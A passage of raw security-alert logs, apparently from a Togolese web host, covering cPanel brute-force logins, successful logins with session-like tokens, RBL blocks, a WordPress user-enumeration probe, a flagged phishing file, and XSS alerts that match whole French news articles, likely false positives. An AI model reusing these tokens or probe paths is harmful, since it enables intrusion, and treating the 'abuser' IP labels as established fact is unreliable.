{\"id\":31006,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31006\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cette pratique a pour cons\xc3\xa9quence un manque \xc3\xa0 gagner pour le tr\xc3\xa9sor public, en masquant la nature r\xc3\xa9elle et la valeur des marchandises import\xc3\xa9es.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>face \xc3\xa0 cette d\xc3\xa9rive, le commissaire des douanes veut les pendules \xc3\xa0 l'heure concernant la d\xc3\xa9finition et le r\xc3\xb4le du cst qui, est un palliatif \xc3\xa0 la valeur transactionnelle. l s'applique uniquement \xc3\xa0 des marchandises dont l'esp\xc3\xa8ce est clairement et pr\xc3\xa9alablement d\xc3\xa9finie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c\xe2\x80\x99est dire que les marchandises enregistr\xc3\xa9es sous l'appellation <em>\xc2\xab divers \xc2\xbb</em> regroupent, par d\xc3\xa9finition, des produits de natures multiples. n'\xc3\xa9tant pas d'esp\xc3\xa8ce unique, elles ne peuvent en aucun cas b\xc3\xa9n\xc3\xa9ficier des avantages ou de l'application du cst.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le temps de la tol\xc3\xa9rance est r\xc3\xa9volu. l'avis officiel instaure un changement radical de proc\xc3\xa9dure pour assainir les pratiques. ainsi, les d\xc3\xa9clarations portant la mention <em>\xc2\xab divers \xc2\xbb</em> ne sont plus du tout \xc3\xa9ligibles au cst.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a cet effet, toutes ces cargaisons feront d\xc3\xa9sormais l'objet d'un ouillage int\xc3\xa9gral (une v\xc3\xa9rification physique compl\xc3\xa8te du conteneur/colis). aussi, apr\xc3\xa8s inspection, la douane proc\xc3\xa9dera-t-elle \xc3\xa0 une \xc3\xa9valuation stricte et r\xc3\xa9elle de la valeur de chaque marchandise trouv\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"634px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:634px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, le civisme fiscal doit \xc3\xaatre de mise pour tous les acteurs (importateurs, exportateurs, consignataires et transitaires), pour \xc3\xa9viter les retards et les p\xc3\xa9nalit\xc3\xa9s. et la pr\xc3\xa9cision dans la description de vos marchandises devrait \xc3\xaatre d\xc3\xa9sormais votre meilleure alli\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-16 13:33:28 +0000] info [cpaneld] 5.231.64.4 - fgbegmfv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.229
country_id: 2635167
description:
[2026-06-16 13:33:42 +0000] info [cpaneld] 5.230.153.229 NEW tubnyxbt:RtJK3ddjI8R9btjN address=5.230.153.229,app=cpaneld,creator=tubnyxbt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.77
country_id: 1643084
description:
[2026-06-16 13:34:56 +0000] info [whostmgrd] 185.213.83.77 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID jy6hdf) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.221.255.55
country_id: 783754
description:
[2026-06-16 13:35:00 +0000] info [cpaneld] 185.221.255.55 - derou "GET /login/?login_only=1&user=derou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user derou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.244.236.208
country_id: 2017370
description:
[2026-06-16 13:35:06 +0000] info [cpaneld] 92.244.236.208 - dero "GET /login/?login_only=1&user=dero&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dero (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.17.199.23
country_id: 3437598
description:
[2026-06-16 13:34:57 +0000] info [cpaneld] 186.17.199.23 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.150.47.99
country_id: 1694008
description:
[2026-06-16 13:35:18 +0000] info [cpaneld] 49.150.47.99 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.181.42.28
country_id: 6252001
description:
[2026-06-16 13:35:15 +0000] info [cpaneld] 184.181.42.28 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.73.17
country_id: 1512440
description:
[2026-06-16 13:34:57 +0000] info [cpaneld] 84.54.73.17 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.166.152.249
country_id: 1210997
description:
[2026-06-16 13:35:10 +0000] info [cpaneld] 103.166.152.249 - dero "GET /login/?login_only=1&user=dero&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dero (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.228.98.93
country_id: 1605651
description:
[2026-06-16 13:35:11 +0000] info [cpaneld] 49.228.98.93 - der "GET /login/?login_only=1&user=der&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user der (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.25.57.170
country_id: 3932488
description:
[2026-06-16 13:35:14 +0000] info [cpaneld] 38.25.57.170 - der "GET /login/?login_only=1&user=der&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user der (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.190.137
country_id: 3625428
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/societe HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.102.129.154
country_id: 6252001
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-36.191.102.129.154||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.59.166
country_id: 6252001
description:
[2026-06-16 13:35:28 +0000] info [cpaneld] 64.44.59.166 - lhxhatyj "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.129
country_id: 1880251
description:
47.128.121.129 - - [16/Jun/2026:13:35:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924511&pdata=https%253A%252F%252Ftogomedia24.tg%252F2025%252F01%252F24%252Fle-colonel-bakali-nomme-secretaire-general-du-cnds%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781616935 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2025/01/24/le-colonel-bakali-nomme-secretaire-general-du-cnds/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.250.138
country_id: 1269750
description:
Jun 16 13:35:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.250.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.109
country_id: 6252001
description:
[2026-06-16 13:35:39 +0000] info [cpaneld] 134.195.83.109 NEW pjwfvzan:SW9gIj4_oluaulvI address=134.195.83.109,app=cpaneld,creator=pjwfvzan,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-16 13:35:32 +0000] info [cpaneld] 5.230.133.216 NEW vuvwskxh:Ss0iPHorqTiaslWn address=5.230.133.216,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.18
country_id: 2635167
description:
[2026-06-16 13:37:14 +0000] info [cpaneld] 5.230.153.18 NEW lhqeyybr:VU2FRv8jlYHFrTnW address=5.230.153.18,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>les c\xc3\xa9r\xc3\xa9monies fun\xc3\xa9raires en hommage \xc3\xa0 sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv, pr\xc3\xa9sident du conseil national des chefs traditionnels du togo, chef du canton de nots\xc3\xa8 et roi des ew\xc3\xa9, ont officiellement d\xc3\xa9marr\xc3\xa9, le lundi 15 juin dernier, \xc3\xa0 nots\xc3\xa8, berceau du peuple ew\xc3\xa9.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans une atmosph\xc3\xa8re de recueillement, les populations ont entam\xc3\xa9 plusieurs jours d\xe2\x80\x99hommages destin\xc3\xa9s \xc3\xa0 honorer la m\xc3\xa9moire de sa majest\xc3\xa9, d\xc3\xa9c\xc3\xa9d\xc3\xa9 le 4 f\xc3\xa9vrier 2026 \xc3\xa0 l\xe2\x80\x99\xc3\xa2ge de 86 ans, apr\xc3\xa8s 35 ann\xc3\xa9es pass\xc3\xa9es sur le tr\xc3\xb4ne royal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d\xc3\xa8s les premi\xc3\xa8res heures de la matin\xc3\xa9e, le palais royal de nots\xc3\xa9 a \xc3\xa9t\xc3\xa9 le th\xc3\xa9\xc3\xa2tre d'un moment solennel marqu\xc3\xa9 par 21 coups de salve annon\xc3\xa7ant officiellement \xc3\xa0 la population la disparition du souverain. peu apr\xc3\xa8s, le tam-tam parlant atopani a r\xc3\xa9sonn\xc3\xa9 \xc3\xa0 travers la ville, invitant les habitants des diff\xc3\xa9rents quartiers \xc3\xa0 se joindre aux c\xc3\xa9r\xc3\xa9monies traditionnelles pr\xc3\xa9vues dans le cadre des obs\xc3\xa8ques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31290,\"width\":\"634px\",\"height\":\"auto\",\"aspectratio\":\"1.5705980309094627\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/bdd53d1b-085a-4ad9-934b-1a5c8ee8b364-1024x652.jpg\" alt=\"\" class=\"wp-image-31290\" style=\"aspect-ratio:1.5705980309094627;width:634px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>au quartier alinou avizouha, terre d'origine de togbui agokoli iv, des rites coutumiers ont \xc3\xa9t\xc3\xa9 ex\xc3\xa9cut\xc3\xa9s avec grandeur. les populations se sont rassembl\xc3\xa9es pour pr\xc3\xa9senter leurs condol\xc3\xa9ances \xc3\xa0 la famille royale et rendre un dernier hommage \xc3\xa0 celui qu'elles d\xc3\xa9crivent comme un chef proche de ses administr\xc3\xa9s et engag\xc3\xa9 pour le bien-\xc3\xaatre de sa communaut\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie a enregistr\xc3\xa9 la pr\xc3\xa9sence de nombreuses personnalit\xc3\xa9s traditionnelles. le premier vice-pr\xc3\xa9sident de l\xe2\x80\x99union eweto et chef du canton de b\xc3\xa8, togbui adela aklassou iv, a notamment marqu\xc3\xa9 sa solidarit\xc3\xa9. des chefs traditionnels de la pr\xc3\xa9fecture de haho ont \xc3\xa9galement pris part aux manifestations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les manifestations se sont poursuivies dans l'apr\xc3\xa8s-midi avec l'organisation de la danse traditionnelle atrikpe. initi\xc3\xa9e par le quartier alinou, cette c\xc3\xa9r\xc3\xa9monie a mobilis\xc3\xa9 de nombreux fils et filles du royaume de nots\xc3\xa9 autour d'un hommage empreint de ferveur et de symbolisme.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31291,\"width\":\"660px\",\"height\":\"auto\",\"aspectratio\":\"1.8999151823579306\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/74bc6ec6-56d2-4ec9-8234-1702bd4037be-1024x539.jpg\" alt=\"\" class=\"wp-image-31291\" style=\"aspect-ratio:1.8999151823579306;width:660px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 travers chants, danses et rythmes traditionnels, les participants ont exprim\xc3\xa9 leur peine face \xc3\xa0 la disparition du souverain tout en formulant des pri\xc3\xa8res pour le repos de son \xc3\xa2me. les diff\xc3\xa9rentes prestations ont \xc3\xa9galement permis de pr\xc3\xa9senter les condol\xc3\xa9ances \xc3\xa0 la famille royale, dans le respect des traditions ancestrales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette danse marque le d\xc3\xa9but d'une s\xc3\xa9rie de manifestations quotidiennes qui se d\xc3\xa9rouleront dans les diff\xc3\xa9rents quartiers de nots\xc3\xa8 jusqu'\xc3\xa0 la grande veill\xc3\xa9e fun\xc3\xa8bre pr\xc3\xa9vue le vendredi 19 juin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;l'inhumation de sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv interviendra le samedi 20 juin, apr\xc3\xa8s une messe c\xc3\xa9l\xc3\xa9br\xc3\xa9e pour le repos de son \xc3\xa2me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31292,\"width\":\"669px\",\"height\":\"auto\",\"aspectratio\":\"1.5730337078651686\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/54a3add3-2478-42a5-8356-1482b946b705-1024x651.jpg\" alt=\"\" class=\"wp-image-31292\" style=\"aspect-ratio:1.5730337078651686;width:669px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 travers ces c\xc3\xa9r\xc3\xa9monies, le peuple ew\xc3\xa9 rend un ultime hommage \xc3\xa0 une figure embl\xc3\xa9matique de la chefferie traditionnelle togolaise, dont le r\xc3\xa8gne aura marqu\xc3\xa9 l'histoire r\xc3\xa9cente du royaume de nots\xc3\xa8.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em> </em></strong><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 35.190.198.48
country_id: 2802361
domain: snb.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/web/wp-json/wp/v2/users/||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.211
country_id: 2635167
description:
[2026-06-16 13:38:34 +0000] info [cpaneld] 5.230.153.211 NEW rqgqpxof:d8n2gTZvY8hInqGz address=5.230.153.211,app=cpaneld,creator=rqgqpxof,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.125
country_id: 2635167
description:
[2026-06-16 13:38:47 +0000] info [cpaneld] 5.230.153.125 - jmtctoni "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.177
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.340676165371348.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.102
country_id: 6252001
description:
[2026-06-16 13:38:21 +0000] info [cpaneld] 64.44.59.102 NEW ifxmoxbf:7EZBcFiFmkHF4Lra address=64.44.59.102,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>dans le secteur du commerce international, la transparence et la pr\xc3\xa9cision des d\xc3\xa9clarations douani\xc3\xa8res sont plus que jamais sous surveillance. l'office togolais des recettes (otr) vient de poser un acte fort pour lutter contre l'optimisation abusive et s\xc3\xa9curiser les recettes de l'\xc3\x89tat.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>par la note officielle <strong>n\xc2\xb0008/2026/otr/cg/cddi</strong>, le commissaire des douanes et des droits indirects, t\xc3\xa9i konzi, tape du poing sur la table au sujet de l'usage du code de sp\xc3\xa9cification tarifaire (cst).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en effet, l'administration douani\xc3\xa8re a identifi\xc3\xa9 une faille majeure dans les pratiques de certains op\xc3\xa9rateurs \xc3\xa9conomiques (notamment les importateurs et commissionnaires en douane agr\xc3\xa9\xc3\xa9s).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>depuis un certain temps, le code de sp\xc3\xa9cification tarifaire (cst) est utilis\xc3\xa9 de mani\xc3\xa8re abusive pour couvrir des cargaisons floues, d\xc3\xa9clar\xc3\xa9es sous le vocable g\xc3\xa9n\xc3\xa9rique de \xc2\xab divers \xc2\xbb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31006,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31006\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cette pratique a pour cons\xc3\xa9quence un manque \xc3\xa0 gagner pour le tr\xc3\xa9sor public, en masquant la nature r\xc3\xa9elle et la valeur des marchandises import\xc3\xa9es.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>face \xc3\xa0 cette d\xc3\xa9rive, le commissaire des douanes veut les pendules \xc3\xa0 l'heure concernant la d\xc3\xa9finition et le r\xc3\xb4le du cst qui, est un palliatif \xc3\xa0 la valeur transactionnelle. l s'applique uniquement \xc3\xa0 des marchandises dont l'esp\xc3\xa8ce est clairement et pr\xc3\xa9alablement d\xc3\xa9finie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c\xe2\x80\x99est dire que les marchandises enregistr\xc3\xa9es sous l'appellation <em>\xc2\xab divers \xc2\xbb</em> regroupent, par d\xc3\xa9finition, des produits de natures multiples. n'\xc3\xa9tant pas d'esp\xc3\xa8ce unique, elles ne peuvent en aucun cas b\xc3\xa9n\xc3\xa9ficier des avantages ou de l'application du cst.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le temps de la tol\xc3\xa9rance est r\xc3\xa9volu. l'avis officiel instaure un changement radical de proc\xc3\xa9dure pour assainir les pratiques. ainsi, les d\xc3\xa9clarations portant la mention <em>\xc2\xab divers \xc2\xbb</em> ne sont plus du tout \xc3\xa9ligibles au cst.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a cet effet, toutes ces cargaisons feront d\xc3\xa9sormais l'objet d'un ouillage int\xc3\xa9gral (une v\xc3\xa9rification physique compl\xc3\xa8te du conteneur/colis). aussi, apr\xc3\xa8s inspection, la douane proc\xc3\xa9dera-t-elle \xc3\xa0 une \xc3\xa9valuation stricte et r\xc3\xa9elle de la valeur de chaque marchandise trouv\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"634px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:634px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, le civisme fiscal doit \xc3\xaatre de mise pour tous les acteurs (importateurs, exportateurs, consignataires et transitaires), pour \xc3\xa9viter les retards et les p\xc3\xa9nalit\xc3\xa9s. et la pr\xc3\xa9cision dans la description de vos marchandises devrait \xc3\xaatre d\xc3\xa9sormais votre meilleure alli\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-16 13:39:24 +0000] info [cpaneld] 5.231.64.4 NEW ttfuehop:qbkQrnFsbLzjizcB address=5.231.64.4,app=cpaneld,creator=ttfuehop,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.145
country_id: 6252001
description:
[2026-06-16 13:39:57 +0000] info [cpaneld] 173.211.88.145 NEW tqbcalqt:xN0SXU18u3OZ_gqx address=173.211.88.145,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.241
country_id: 6252001
description:
[2026-06-16 13:40:53 +0000] info [cpaneld] 173.211.88.241 NEW nerohostfreenetm:KMR78NwydGY7x_dV address=173.211.88.241,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.163
country_id: 3017382
description:
[2026-06-16 13:40:27 +0000] info [cpaneld] 5.231.255.163 NEW hgfdcvbnk:QydFHX8BF0sW7ghi address=5.231.255.163,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.175.5.67
country_id: 6252001
description:
[2026-06-16 13:40:41 +0000] info [cpaneld] 107.175.5.67 - moodlefreenetmas "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.240
country_id: 2635167
description:
[2026-06-16 13:41:37 +0000] info [cpaneld] 5.230.133.240 NEW newistm:wfoxSdXufQNsrf8u address=5.230.133.240,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.255.112
country_id: 3017382
description:
[2026-06-16 13:42:13 +0000] info [cpaneld] 5.231.255.112 - neliam "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.132.131
country_id: 3996063
description:
[2026-06-16 13:43:10 +0000] info [cpaneld] 148.222.132.131 - wages "GET /login/?login_only=1&user=wages&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wages (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.31.32.10
country_id: 290557
description:
[2026-06-16 13:43:14 +0000] info [cpaneld] 5.31.32.10 - wagestg "GET /login/?login_only=1&user=wagestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wagestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.51.88.168
country_id: 1282988
description:
[2026-06-16 13:43:17 +0000] info [cpaneld] 202.51.88.168 - wage "GET /login/?login_only=1&user=wage&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wage (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.8
country_id: 1643084
description:
